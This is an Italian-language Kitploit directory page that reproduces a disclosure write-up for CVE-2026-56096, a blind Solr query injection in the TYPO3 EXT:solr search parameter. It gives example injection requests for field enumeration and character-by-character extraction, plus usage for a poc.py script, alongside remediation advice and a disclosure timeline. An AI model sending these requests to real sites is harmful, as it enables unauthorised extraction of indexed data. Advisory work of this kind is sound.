Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-56096 — Proof of concept e analisi tecnica per CVE-2026-56096, un'iniezione di query Solr cieca in TYPO3 EXT:solr che consente l'enumerazione dei campi e l'estrazione dei dati senza autenticazione. | Kitploit
Strumenti/GitHubGitHub/yairhinkis/cve-2026-56096
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniSicurezza WebPaper e Ricerca
GitHubyairhinkis/cve-2026-56096

CVE-2026-56096

Proof of concept e analisi tecnica per CVE-2026-56096, un'iniezione di query Solr cieca in TYPO3 EXT:solr che consente l'enumerazione dei campi e l'estrazione dei dati senza autenticazione.

Vedi Repository
34529 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-56096: Iniezione di query Solr ed estrazione cieca di dati in TYPO3 EXT:solr

È stata scoperta una vulnerabilità di sicurezza architetturale nell'estensione ufficiale Apache Solr per TYPO3 (EXT:solr / apache-solr-for-typo3/solr). Il problema consente ad attaccanti remoti non autenticati di iniettare sintassi di query Solr/Lucene arbitraria tramite il parametro di ricerca tx_solr[q], abilitando l'enumerazione cieca non autorizzata dei campi e l'estrazione completa dei metadati dall'indice di ricerca.


Metadati

  • CVE ID: CVE-2026-56096
  • Tipo di vulnerabilità: CWE-943: Neutralizzazione impropria di elementi speciali nella logica di interrogazione dei dati
  • Componente interessato: EXT:solr (Parametro di ricerca: tx_solr[q])
  • Punteggio CVSS v4.0: 6.3 (Medio) — CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
  • Ricercatore: Yair Hinkis

Panoramica della vulnerabilità

L'estensione EXT:solr accetta termini di ricerca forniti dall'utente tramite il parametro tx_solr[q] e li inoltra al motore Apache Solr. Per progettazione, l'estensione consente specifici operatori di query—come wildcard (*), wildcard a carattere singolo (?), selettori di campo (:) e query di intervallo ([a TO z])—per supportare funzionalità legittime come il filtraggio a faccette.

Poiché questi caratteri venivano passati direttamente alla costruzione della query backend senza una whitelist vincolante o un livello di astrazione delle query, un attaccante può fornire sintassi specifica per i campi per eludere i confini di ricerca previsti. Ciò consente a utenti non autenticati di interrogare direttamente i campi interni di Solr ed estrarre dati dall'indice utilizzando tecniche cieche basate su booleani.


Tecniche di attacco

1. Enumerazione dei campi tramite field:*

Aggiungendo una wildcard a un nome di campo arbitrario o ipotizzato, un attaccante può verificare se il campo esiste all'interno dello schema:

GET /search?tx_solr[q]=siteHash:* HTTP/1.1
Host: target.example.com

Se il campo esiste, Solr elabora la query su tutti i record corrispondenti (spesso attivando codici di risposta distinti o comportamenti legati al volume), consentendo l'enumerazione automatizzata dei campi basata su wordlist.


2. Estrazione cieca dei valori tramite wildcard di prefisso

Gli attaccanti possono estrarre valori sensibili dei campi carattere per carattere utilizzando l'inferenza booleana:

GET /search?tx_solr[q]=siteHash:a* HTTP/1.1  --> Returns search hits (Value begins with 'a')
GET /search?tx_solr[q]=siteHash:b* HTTP/1.1  --> "Nothing found" (Value does not begin with 'b')

3. Rilevamento della lunghezza tramite l'operatore ?

L'operatore wildcard a singolo carattere (?) può determinare la lunghezza esatta di una stringa memorizzata prima di iniziare l'iterazione dei caratteri:

GET /search?tx_solr[q]=siteHash:????????????* HTTP/1.1   (Checks for 12+ characters)
GET /search?tx_solr[q]=siteHash:?????????????* HTTP/1.1  (Checks for 13+ characters)

4. Query di intervallo accelerate ([a TO z])

Le query di intervallo consentono l'estrazione tramite ricerca binaria sul carattere iniziale, riducendo il numero di richieste necessarie da 26 a ~5 per posizione del carattere:

GET /search?tx_solr[q]=siteHash:[a TO m] HTTP/1.1  --> Determines if character falls within 'a'-'m'
GET /search?tx_solr[q]=siteHash:[n TO z] HTTP/1.1  --> Determines if character falls within 'n'-'z'

La combinazione di rilevamento della lunghezza, query di intervallo e wildcard di prefisso consente l'estrazione completa del campo con un'impronta di richiesta minima.


Proof of Concept / Utilizzo

Viene fornito uno script di verifica automatizzato (poc.py) per dimostrare l'estrazione cieca utilizzando le tecniche descritte sopra.

Esempio di utilizzo

python3 poc.py -u "https://target.example.com/?L=0&id=1" -f "someField"

Opzioni

  • -u, --url: URL di destinazione che punta all'endpoint di ricerca TYPO3.

  • -f, --field: Nome del campo dello schema da enumerare/estrarre (ad es., appKey, siteHash).

  • -c, --cookies: (Opzionale) Cookie di sessione se è richiesta l'autenticazione o la verifica del bypass del WAF.

  • -o, --output: File di output in cui memorizzare i prefissi scoperti (predefinito: validated_fields.txt).


Impatto

  • Violazione della riservatezza: Estrazione completa di tutti i campi indicizzati in Apache Solr (ad es., hash interni di sistema, contenuti nascosti delle pagine, metadati relativi agli utenti e identificatori di sistema).
  • Bypass dei controlli di accesso: Aggira i filtri di ricerca del frontend e le restrizioni di visualizzazione di TypoScript.
  • Ambito: Interessava tutte le installazioni predefinite che utilizzano l'endpoint di ricerca EXT:solr.

Remediation

L'escaping globale dei caratteri è insufficiente perché operatori come * e : svolgono funzionalità di ricerca previste. La remediation richiede una whitelist a livello di applicazione e un modello di parsing:

  1. Analizzare le stringhe di query fornite dall'utente in un Abstract Syntax Tree (AST) prima dell'invio al motore Solr.
  2. Applicare allowlist rigorose sui campi di destinazione consentiti, impedendo query dirette degli utenti verso campi interni o riservati.
  3. Neutralizzare l'abuso di operatori non presenti nella whitelist proveniente da contesti di input non attendibili.

Cronologia della divulgazione coordinata

  • 6 marzo 2026: Vulnerabilità identificata durante una valutazione autorizzata; notifica iniziale al fornitore.
  • 17 aprile 2026: Il fornitore ha implementato mitigazioni locali a livello di edge; confermata la natura del bug upstream.
  • 8 maggio 2026: Report formale della vulnerabilità inviato al TYPO3 Security Team ([email protected]).
  • 15 giugno 2026: Il TYPO3 Security Team ha confermato la riproduzione e avviato lo sviluppo della patch con i manutentori dell'estensione.
  • 25 agosto 2026: Pubblicato il bollettino di sicurezza ufficiale, rilasciata la patch e assegnato CVE-2026-56096.

Riferimenti

  • TYPO3 Security Advisory: TYPO3-EXT-SA-2026-025
  • Definizione CWE: CWE-943: Improper Neutralization of Special Elements in Data Query Logic
Scarica lo strumento